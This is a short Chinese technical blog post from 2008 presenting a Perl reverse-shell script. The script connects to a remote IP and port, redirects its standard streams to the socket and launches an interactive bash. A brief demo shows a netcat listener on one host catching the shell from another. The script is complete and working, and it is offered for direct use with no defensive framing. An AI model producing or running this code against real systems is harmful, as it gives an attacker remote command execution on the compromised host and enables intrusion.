博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助

Eric`s Technical Blog

看天上云卷云舒 我自怡然自得
sharewith.cublog.cn


反弹shell use perl^_^

laiwei@debian:~$ cat rebound.pl


#!/usr/bin/perl -w
#

use strict;
use Socket;
use IO::Handle;

if($#ARGV+1 != 2){
        print "$#ARGV $0 Remote_IP Remote_Port \n";
        exit 1;
}

my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1);
SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";

print "Enjoy the shell.\n";

system($shell);
close SOCK;

exit 0;
-------------------------------------------------------------------------------------------------------

演示:

在主机A上面

nc -l -p 8888 -vv

在主机B上面

./rebound.pl AA.AA.AA.AA 8888

于是在主机A上面得到一个反弹shell

发表于: 2008-03-30 ,修改于: 2008-03-30 20:50,已浏览145次,有评论0条 推荐 投诉


网友评论

发表评论